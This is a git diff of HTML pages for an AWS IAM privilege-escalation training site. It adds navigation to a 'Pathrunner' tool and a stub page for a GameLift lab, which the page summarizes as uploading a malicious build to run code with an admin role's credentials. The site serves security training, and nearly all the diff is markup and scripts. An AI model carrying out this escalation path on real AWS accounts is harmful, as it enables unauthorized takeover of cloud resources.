+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/exclusive-resource-policy/index.html b/docs/labs/exclusive-resource-policy/index.html
index 81f80af0..20af9956 100644
--- a/docs/labs/exclusive-resource-policy/index.html
+++ b/docs/labs/exclusive-resource-policy/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/gamelift-001/index.html b/docs/labs/gamelift-001/index.html
new file mode 100644
index 00000000..86903f06
--- /dev/null
+++ b/docs/labs/gamelift-001/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>GameLift Fleet to Admin - pathfinding.cloud Labs</title>
+    <meta name="description" content="Upload a malicious game server build and create a GameLift fleet with an admin instance role using `SHARED_CREDENTIAL_FILE` to execute arbitrary code with the admin role&#x27;s credentials">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/gamelift-001/">
+    <meta property="og:title" content="GameLift Fleet to Admin - pathfinding.cloud Labs">
+    <meta property="og:description" content="Upload a malicious game server build and create a GameLift fleet with an admin instance role using `SHARED_CREDENTIAL_FILE` to execute arbitrary code with the admin role&#x27;s credentials">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="GameLift Fleet to Admin - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Upload a malicious game server build and create a GameLift fleet with an admin instance role using `SHARED_CREDENTIAL_FILE` to execute arbitrary code with the admin role&#x27;s credentials">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
